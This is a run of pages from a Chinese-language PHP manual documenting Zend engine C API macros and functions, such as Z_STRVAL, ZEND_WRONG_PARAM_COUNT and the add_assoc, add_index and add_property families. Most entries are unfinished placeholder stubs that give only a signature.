void Z_OBJCE_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJCE_P | 上一级 | Z_OBJCE


Z_OBJPROP

(no version information, might be only in CVS)

Z_OBJPROP --

说明

#include <zend_operators.h>

void Z_OBJPROP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJPROP_PP | 上一级 | Z_RESVAL_P


Z_OBJPROP_P

(no version information, might be only in CVS)

Z_OBJPROP_P --

说明

#include <zend_operators.h>

void Z_OBJPROP_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJCE | 上一级 | Z_OBJPROP_PP


Z_OBJPROP_PP

(no version information, might be only in CVS)

Z_OBJPROP_PP --

说明

#include <zend_operators.h>

void Z_OBJPROP_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJPROP_P | 上一级 | Z_OBJPROP


Z_RESVAL

(no version information, might be only in CVS)

Z_RESVAL --

说明

#include <zend_operators.h>

void Z_RESVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_RESVAL_PP | 上一级 | Z_STRLEN_P


Z_RESVAL_P

(no version information, might be only in CVS)

Z_RESVAL_P --

说明

#include <zend_operators.h>

void Z_RESVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJPROP | 上一级 | Z_RESVAL_PP


Z_RESVAL_PP

(no version information, might be only in CVS)

Z_RESVAL_PP --

说明

#include <zend_operators.h>

void Z_RESVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_RESVAL_P | 上一级 | Z_RESVAL


Z_STRLEN

(no version information, might be only in CVS)

Z_STRLEN --

说明

#include <zend_operators.h>

void Z_STRLEN ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRLEN_PP | 上一级 | Z_STRVAL_P


Z_STRLEN_P

(no version information, might be only in CVS)

Z_STRLEN_P --

说明

#include <zend_operators.h>

void Z_STRLEN_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_RESVAL | 上一级 | Z_STRLEN_PP


Z_STRLEN_PP

(no version information, might be only in CVS)

Z_STRLEN_PP --

说明

#include <zend_operators.h>

void Z_STRLEN_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRLEN_P | 上一级 | Z_STRLEN


Z_STRVAL

(no version information, might be only in CVS)

Z_STRVAL --

说明

#include <zend_operators.h>

void Z_STRVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRVAL_PP | 上一级 | Z_TYPE_P


Z_STRVAL_P

(no version information, might be only in CVS)

Z_STRVAL_P --

说明

#include <zend_operators.h>

void Z_STRVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRLEN | 上一级 | Z_STRVAL_PP


Z_STRVAL_PP

(no version information, might be only in CVS)

Z_STRVAL_PP --

说明

#include <zend_operators.h>

void Z_STRVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRVAL_P | 上一级 | Z_STRVAL


Z_TYPE

(no version information, might be only in CVS)

Z_TYPE --

说明

#include <zend_operators.h>

void Z_TYPE ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_TYPE_PP | 上一级 | ZEND_WRONG_PARAM_COUNT_WITH_RETVAL


Z_TYPE_P

(no version information, might be only in CVS)

Z_TYPE_P --

说明

#include <zend_operators.h>

void Z_TYPE_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_STRVAL | 上一级 | Z_TYPE_PP


Z_TYPE_PP

(no version information, might be only in CVS)

Z_TYPE_PP --

说明

#include <zend_operators.h>

void Z_TYPE_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_TYPE_P | 上一级 | Z_TYPE


ZEND_WRONG_PARAM_COUNT

(no version information, might be only in CVS)

ZEND_WRONG_PARAM_COUNT -- Generate standard error message for wrong parameter count in function or method call

说明

#include <zend_API.h>

void ZEND_WRONG_PARAM_COUNT ( void )

ZEND_WRONG_PARAM_COUNT() produces a standard warning message for functions or class methods that have been called with a wrong number of parameters. The macro automaticly puts the right function name and class name (if needed) into the error message.

ZEND_WRONG_PARAM_COUNT() is actually a convenience wrapper for zend_wrong_param_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
get_zend_version | 上一级 | object_and_properties_init


ZEND_WRONG_PARAM_COUNT_WITH_RETVAL

(no version information, might be only in CVS)

ZEND_WRONG_PARAM_COUNT_WITH_RETVAL -- Generate standard error message and return custom value

说明

#include <zend_API.h>

void ZEND_WRONG_PARAM_COUNT_WITH_RETVAL ( mixed return_value )

注: This macro is part of the API but not used in any bundled or PECL extension

ZEND_WRONG_PARAM_COUNT_WITH_RETVAL() produces a standard warning message for functions or class methods that have been called with a wrong number of parameters and returns its parameter to the calling function. The macro automaticly puts the right function name and class name (if needed) into the error message.

The return_value parameter is returned to the calling function of the current one.

ZEND_WRONG_PARAM_COUNT_WITH_RETVAL() is actually a convenience wrapper for zend_wrong_param_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_TYPE | 上一级 | add_assoc_bool_ex


_array_init

(no version information, might be only in CVS)

_array_init -- ...

说明

#include <zend_API.h>

int _array_init ( zval* arg ZEND_FILE_LINE_DC )

...

参数

arg ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
API 函数（尚未完成） | 上一级 | _object_and_properties_init


_object_and_properties_init

(no version information, might be only in CVS)

_object_and_properties_init -- ...

说明

#include <zend_API.h>

int _object_and_properties_init ( zval* arg, zend_class_entry* ce, HashTable* properties ZEND_FILE_LINE_DC TSRMLS_DC )

...

参数

arg

...

ce

...

properties ZEND_FILE_LINE_DC TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_array_init | 上一级 | _object_init_ex


_object_init

(no version information, might be only in CVS)

_object_init -- ...

说明

#include <zend_API.h>

int _object_init ( zval* arg ZEND_FILE_LINE_DC TSRMLS_DC )

...

参数

arg ZEND_FILE_LINE_DC TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_object_init_ex | 上一级 | _zend_bailout


_object_init_ex

(no version information, might be only in CVS)

_object_init_ex -- ...

说明

#include <zend_API.h>

int _object_init_ex ( zval* arg, zend_class_entry* ce ZEND_FILE_LINE_DC TSRMLS_DC )

...

参数

arg

...

ce ZEND_FILE_LINE_DC TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_object_and_properties_init | 上一级 | _object_init


_zend_bailout

(no version information, might be only in CVS)

_zend_bailout -- ...

说明

#include <zend.h>

void _zend_bailout ( char* filename, uint lineno )

...

参数

filename

...

lineno

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_object_init | 上一级 | _zend_get_parameters_array_ex


_zend_get_parameters_array

(no version information, might be only in CVS)

_zend_get_parameters_array -- ...

说明

#include <zend_API.h>

int _zend_get_parameters_array ( int ht, int param_count, zval** argument_array TSRMLS_DC )

...

参数

ht

...

param_count

...

argument_array TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_get_parameters_array_ex | 上一级 | _zend_hash_add_or_update


_zend_get_parameters_array_ex

(no version information, might be only in CVS)

_zend_get_parameters_array_ex -- ...

说明

#include <zend_API.h>

int _zend_get_parameters_array_ex ( int param_count, zval*** argument_array TSRMLS_DC )

...

参数

param_count

...

argument_array TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_bailout | 上一级 | _zend_get_parameters_array


_zend_hash_add_or_update

(no version information, might be only in CVS)

_zend_hash_add_or_update -- ...

说明

#include <zend_hash.h>

int _zend_hash_add_or_update ( HashTable* ht, char* arKey, uint nKeyLength, void* pData, uint nDataSize, void** pDest, int flag ZEND_FILE_LINE_DC )

...

参数

ht

...

arKey

...

nKeyLength

...

pData

...

nDataSize

...

pDest

...

flag ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_get_parameters_array | 上一级 | _zend_hash_index_update_or_next_insert


_zend_hash_index_update_or_next_insert

(no version information, might be only in CVS)

_zend_hash_index_update_or_next_insert -- ...

说明

#include <zend_hash.h>

int _zend_hash_index_update_or_next_insert ( HashTable* ht, ulong h, void* pData, uint nDataSize, void** pDest, int flag ZEND_FILE_LINE_DC )

...

参数

ht

...

h

...

pData

...

nDataSize

...

pDest

...

flag ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_add_or_update | 上一级 | _zend_hash_init_ex


_zend_hash_init

(no version information, might be only in CVS)

_zend_hash_init -- ...

说明

#include <zend_hash.h>

int _zend_hash_init ( HashTable* ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent ZEND_FILE_LINE_DC )

...

参数

ht

...

nSize

...

pHashFunction

...

pDestructor

...

persistent ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_init_ex | 上一级 | _zend_hash_merge


_zend_hash_init_ex

(no version information, might be only in CVS)

_zend_hash_init_ex -- ...

说明

#include <zend_hash.h>

int _zend_hash_init_ex ( HashTable* ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent, zend_bool bApplyProtection ZEND_FILE_LINE_DC )

...

参数

ht

...

nSize

...

pHashFunction

...

pDestructor

...

persistent

...

bApplyProtection ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_index_update_or_next_insert | 上一级 | _zend_hash_init


_zend_hash_merge

(no version information, might be only in CVS)

_zend_hash_merge -- ...

说明

#include <zend_hash.h>

void _zend_hash_merge ( HashTable* target, HashTable* source, copy_ctor_func_t pCopyConstructor, void* tmp, uint size, int overwrite ZEND_FILE_LINE_DC )

...

参数

target

...

source

...

pCopyConstructor

...

tmp

...

size

...

overwrite ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_init | 上一级 | _zend_hash_quick_add_or_update


_zend_hash_quick_add_or_update

(no version information, might be only in CVS)

_zend_hash_quick_add_or_update -- ...

说明

#include <zend_hash.h>

int _zend_hash_quick_add_or_update ( HashTable* ht, char* arKey, uint nKeyLength, ulong h, void* pData, uint nDataSize, void** pDest, int flag ZEND_FILE_LINE_DC )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

pData

...

nDataSize

...

pDest

...

flag ZEND_FILE_LINE_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_merge | 上一级 | Z_ARRVAL_P


add_assoc_bool

(no version information, might be only in CVS)

add_assoc_bool -- ...

说明

#include <zend_API.h>

int add_assoc_bool ( zval* arg, char* key, int b )

...

参数

arg

...

key

...

b

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_bool_ex | 上一级 | add_assoc_double_ex


add_assoc_bool_ex

(no version information, might be only in CVS)

add_assoc_bool_ex -- ...

说明

#include <zend_API.h>

int add_assoc_bool_ex ( zval* arg, char* key, uint key_len, int b )

...

参数

arg

...

key

...

key_len

...

b

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ZEND_WRONG_PARAM_COUNT_WITH_RETVAL | 上一级 | add_assoc_bool


add_assoc_double

(no version information, might be only in CVS)

add_assoc_double -- ...

说明

#include <zend_API.h>

int add_assoc_double ( zval* arg, char* key, double d )

...

参数

arg

...

key

...

d

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_double_ex | 上一级 | add_assoc_function


add_assoc_double_ex

(no version information, might be only in CVS)

add_assoc_double_ex -- ...

说明

#include <zend_API.h>

int add_assoc_double_ex ( zval* arg, char* key, uint key_len, double d )

...

参数

arg

...

key

...

key_len

...

d

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_bool | 上一级 | add_assoc_double


add_assoc_function

(no version information, might be only in CVS)

add_assoc_function -- ...

说明

#include <zend_API.h>

int add_assoc_function ( zval* arg, char* key, void (*function_ptr)(INTERNAL_FUNCTION_PARAMETERS) )

...

参数

arg

...

key

...

(*function_ptr)(INTERNAL_FUNCTION_PARAMETERS)

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_double | 上一级 | add_assoc_long_ex


add_assoc_long

(no version information, might be only in CVS)

add_assoc_long -- ...

说明

#include <zend_API.h>

int add_assoc_long ( zval* arg, char* key, long n )

...

参数

arg

...

key

...

n

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_long_ex | 上一级 | add_assoc_null_ex


add_assoc_long_ex

(no version information, might be only in CVS)

add_assoc_long_ex -- ...

说明

#include <zend_API.h>

int add_assoc_long_ex ( zval* arg, char* key, uint key_len, long n )

...

参数

arg

...

key

...

key_len

...

n

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_function | 上一级 | add_assoc_long


add_assoc_null

(no version information, might be only in CVS)

add_assoc_null -- ...

说明

#include <zend_API.h>

int add_assoc_null ( zval* arg, char* key )

...

参数

arg

...

key

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_null_ex | 上一级 | add_assoc_resource_ex


add_assoc_null_ex

(no version information, might be only in CVS)

add_assoc_null_ex -- ...

说明

#include <zend_API.h>

int add_assoc_null_ex ( zval* arg, char* key, uint key_len )

...

参数

arg

...

key

...

key_len

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_long | 上一级 | add_assoc_null


add_assoc_resource

(no version information, might be only in CVS)

add_assoc_resource -- ...

说明

#include <zend_API.h>

int add_assoc_resource ( zval* arg, char* key, int r )

...

参数

arg

...

key

...

r

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_resource_ex | 上一级 | add_assoc_string_ex


add_assoc_resource_ex

(no version information, might be only in CVS)

add_assoc_resource_ex -- ...

说明

#include <zend_API.h>

int add_assoc_resource_ex ( zval* arg, char* key, uint key_len, int r )

...

参数

arg

...

key

...

key_len

...

r

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_null | 上一级 | add_assoc_resource


add_assoc_string

(no version information, might be only in CVS)

add_assoc_string -- ...

说明

#include <zend_API.h>

int add_assoc_string ( zval* arg, char* str, uint key_len, int duplicate )

...

参数

arg

...

str

...

key_len

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_string_ex | 上一级 | add_assoc_stringl_ex


add_assoc_string_ex

(no version information, might be only in CVS)

add_assoc_string_ex -- ...

说明

#include <zend_API.h>

int add_assoc_string_ex ( zval* arg, char* key, uint key_len, char* str, int duplicate )

...

参数

arg

...

key

...

key_len

...

str

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_resource | 上一级 | add_assoc_string


add_assoc_stringl

(no version information, might be only in CVS)

add_assoc_stringl -- ...

说明

#include <zend_API.h>

int add_assoc_stringl ( zval* arg, char* str, int duplicate )

...

参数

arg

...

str

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_stringl_ex | 上一级 | add_assoc_zval_ex


add_assoc_stringl_ex

(no version information, might be only in CVS)

add_assoc_stringl_ex -- ...

说明

#include <zend_API.h>

int add_assoc_stringl_ex ( zval* arg, char* key, uint key_len, char* str, uint length, int duplicate )

...

参数

arg

...

key

...

key_len

...

str

...

length

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_string | 上一级 | add_assoc_stringl


add_assoc_zval

(no version information, might be only in CVS)

add_assoc_zval -- ...

说明

#include <zend_API.h>

int add_assoc_zval ( zval* arg, char* key, zval* value )

...

参数

arg

...

key

...

value

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_zval_ex | 上一级 | add_get_assoc_string_ex


add_assoc_zval_ex

(no version information, might be only in CVS)

add_assoc_zval_ex -- ...

说明

#include <zend_API.h>

int add_assoc_zval_ex ( zval* arg, char* key, uint key_len, zval* value )

...

参数

arg

...

key

...

key_len

...

value

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_stringl | 上一级 | add_assoc_zval


add_get_assoc_string

(no version information, might be only in CVS)

add_get_assoc_string -- ...

说明

#include <zend_API.h>

int add_get_assoc_string ( zval* arg, char* key, char* str, void* *dest, int duplicate )

...

参数

arg

...

str

...

*dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_assoc_string_ex | 上一级 | add_get_assoc_stringl_ex


add_get_assoc_string_ex

(no version information, might be only in CVS)

add_get_assoc_string_ex -- ...

说明

#include <zend_API.h>

int add_get_assoc_string_ex ( zval* arg, char* key, uint key_len, char* str, void** dest, int duplicate )

...

参数

arg

...

key

...

key_len

...

str

...

dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_assoc_zval | 上一级 | add_get_assoc_string


add_get_assoc_stringl

(no version information, might be only in CVS)

add_get_assoc_stringl -- ...

说明

#include <zend_API.h>

int add_get_assoc_stringl ( zval* arg, char* str, uint length, void* *dest, int duplicate )

...

参数

arg

...

str

...

length

...

*dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_assoc_stringl_ex | 上一级 | add_get_index_double


add_get_assoc_stringl_ex

(no version information, might be only in CVS)

add_get_assoc_stringl_ex -- ...

说明

#include <zend_API.h>

int add_get_assoc_stringl_ex ( zval* arg, char* key, uint key_len, char* str, uint length, void** dest, int duplicate )

...

参数

arg

...

key

...

key_len

...

str

...

length

...

dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_assoc_string | 上一级 | add_get_assoc_stringl


add_get_index_double

(no version information, might be only in CVS)

add_get_index_double -- ...

说明

#include <zend_API.h>

int add_get_index_double ( zval* arg, uint idx, double d, void** dest )

...

参数

arg

...

idx

...

d

...

dest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_assoc_stringl | 上一级 | add_get_index_long


add_get_index_long

(no version information, might be only in CVS)

add_get_index_long -- ...

说明

#include <zend_API.h>

int add_get_index_long ( zval* arg, uint idx, long l, void** dest )

...

参数

arg

...

idx

...

l

...

dest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_index_double | 上一级 | add_get_index_string


add_get_index_string

(no version information, might be only in CVS)

add_get_index_string -- ...

说明

#include <zend_API.h>

int add_get_index_string ( zval* arg, uint idx, char* str, void** dest, int duplicate )

...

参数

arg

...

idx

...

str

...

dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_index_long | 上一级 | add_get_index_stringl


add_get_index_stringl

(no version information, might be only in CVS)

add_get_index_stringl -- ...

说明

#include <zend_API.h>

int add_get_index_stringl ( zval* arg, uint idx, char* str, uint length, void** dest, int duplicate )

...

参数

arg

...

idx

...

str

...

length

...

dest

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_index_string | 上一级 | add_index_bool


add_index_bool

(no version information, might be only in CVS)

add_index_bool -- ...

说明

#include <zend_API.h>

int add_index_bool ( zval* arg, uint idx, int b )

...

参数

arg

...

idx

...

b

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_get_index_stringl | 上一级 | add_index_double


add_index_double

(no version information, might be only in CVS)

add_index_double -- ...

说明

#include <zend_API.h>

int add_index_double ( zval* arg, uint idx, double d )

...

参数

arg

...

idx

...

d

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_bool | 上一级 | add_index_long


add_index_long

(no version information, might be only in CVS)

add_index_long -- ...

说明

#include <zend_API.h>

int add_index_long ( zval* arg, uint idx, long n )

...

参数

arg

...

idx

...

n

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_double | 上一级 | add_index_null


add_index_null

(no version information, might be only in CVS)

add_index_null -- ...

说明

#include <zend_API.h>

int add_index_null ( zval* arg, uint idx )

...

参数

arg

...

idx

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_long | 上一级 | add_index_resource


add_index_resource

(no version information, might be only in CVS)

add_index_resource -- ...

说明

#include <zend_API.h>

int add_index_resource ( zval* arg, uint idx, int r )

...

参数

arg

...

idx

...

r

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_null | 上一级 | add_index_string


add_index_string

(no version information, might be only in CVS)

add_index_string -- ...

说明

#include <zend_API.h>

int add_index_string ( zval* arg, uint idx, char* str, int duplicate )

...

参数

arg

...

idx

...

str

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_resource | 上一级 | add_index_stringl


add_index_stringl

(no version information, might be only in CVS)

add_index_stringl -- ...

说明

#include <zend_API.h>

int add_index_stringl ( zval* arg, uint idx, char* str, uint length, int duplicate )

...

参数

arg

...

idx

...

str

...

length

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_string | 上一级 | add_index_zval


add_index_zval

(no version information, might be only in CVS)

add_index_zval -- ...

说明

#include <zend_API.h>

int add_index_zval ( zval* arg, uint index, zval* value )

...

参数

arg

...

index

...

value

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_stringl | 上一级 | add_next_index_bool


add_next_index_bool

(no version information, might be only in CVS)

add_next_index_bool -- ...

说明

#include <zend_API.h>

int add_next_index_bool ( zval* arg, int b )

...

参数

arg

...

b

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_index_zval | 上一级 | add_next_index_double


add_next_index_double

(no version information, might be only in CVS)

add_next_index_double -- ...

说明

#include <zend_API.h>

int add_next_index_double ( zval* arg, double d )

...

参数

arg

...

d

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_bool | 上一级 | add_next_index_long


add_next_index_long

(no version information, might be only in CVS)

add_next_index_long -- ...

说明

#include <zend_API.h>

int add_next_index_long ( zval* arg, long n )

...

参数

arg

...

n

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_double | 上一级 | add_next_index_null


add_next_index_null

(no version information, might be only in CVS)

add_next_index_null -- ...

说明

#include <zend_API.h>

int add_next_index_null ( zval* arg )

...

参数

arg

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_long | 上一级 | add_next_index_resource


add_next_index_resource

(no version information, might be only in CVS)

add_next_index_resource -- ...

说明

#include <zend_API.h>

int add_next_index_resource ( zval* arg, int r )

...

参数

arg

...

r

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_null | 上一级 | add_next_index_string


add_next_index_string

(no version information, might be only in CVS)

add_next_index_string -- ...

说明

#include <zend_API.h>

int add_next_index_string ( zval* arg, char* str, int duplicate )

...

参数

arg

...

str

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_resource | 上一级 | add_next_index_stringl


add_next_index_stringl

(no version information, might be only in CVS)

add_next_index_stringl -- ...

说明

#include <zend_API.h>

int add_next_index_stringl ( zval* arg, char* str, uint length, int duplicate )

...

参数

arg

...

str

...

length

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_string | 上一级 | add_next_index_zval


add_next_index_zval

(no version information, might be only in CVS)

add_next_index_zval -- ...

说明

#include <zend_API.h>

int add_next_index_zval ( zval* arg, zval* value )

...

参数

arg

...

value

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_stringl | 上一级 | add_property_bool_ex


add_property_bool

(no version information, might be only in CVS)

add_property_bool -- ...

说明

#include <zend_API.h>

int add_property_bool ( zval* arg, char* key, int b )

...

参数

arg

...

key

...

b

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_bool_ex | 上一级 | add_property_double_ex


add_property_bool_ex

(no version information, might be only in CVS)

add_property_bool_ex -- ...

说明

#include <zend_API.h>

int add_property_bool_ex ( zval* arg, char* key, uint key_len, int b TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

b TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_next_index_zval | 上一级 | add_property_bool


add_property_double

(no version information, might be only in CVS)

add_property_double -- ...

说明

#include <zend_API.h>

int add_property_double ( zval* arg, char* key, double d )

...

参数

arg

...

key

...

d

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_double_ex | 上一级 | add_property_long_ex


add_property_double_ex

(no version information, might be only in CVS)

add_property_double_ex -- ...

说明

#include <zend_API.h>

int add_property_double_ex ( zval* arg, char* key, uint key_len, double d TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

d TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_bool | 上一级 | add_property_double


add_property_long

(no version information, might be only in CVS)

add_property_long -- ...

说明

#include <zend_API.h>

int add_property_long ( zval* arg, char* key, long l )

...

参数

arg

...

key

...

l

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_long_ex | 上一级 | add_property_null_ex


add_property_long_ex

(no version information, might be only in CVS)

add_property_long_ex -- ...

说明

#include <zend_API.h>

int add_property_long_ex ( zval* arg, char* key, uint key_len, long l TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

l TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_double | 上一级 | add_property_long


add_property_null

(no version information, might be only in CVS)

add_property_null -- ...

说明

#include <zend_API.h>

int add_property_null ( zval* arg, char* key )

...

参数

arg

...

key

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_null_ex | 上一级 | add_property_resource_ex


add_property_null_ex

(no version information, might be only in CVS)

add_property_null_ex -- ...

说明

#include <zend_API.h>

int add_property_null_ex ( zval* arg, char* key, uint key_len TSRMLS_DC )

...

参数

arg

...

key

...

key_len TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_long | 上一级 | add_property_null


add_property_resource

(no version information, might be only in CVS)

add_property_resource -- ...

说明

#include <zend_API.h>

int add_property_resource ( zval* arg, char* key, long r )

...

参数

arg

...

key

...

key_len

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_resource_ex | 上一级 | add_property_string_ex


add_property_resource_ex

(no version information, might be only in CVS)

add_property_resource_ex -- ...

说明

#include <zend_API.h>

int add_property_resource_ex ( zval* arg, char* key, uint key_len, long r TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

r TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_null | 上一级 | add_property_resource


add_property_string

(no version information, might be only in CVS)

add_property_string -- ...

说明

#include <zend_API.h>

int add_property_string ( zval* arg, char* key, char* str, int duplicate )

...

参数

arg

...

key

...

str

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
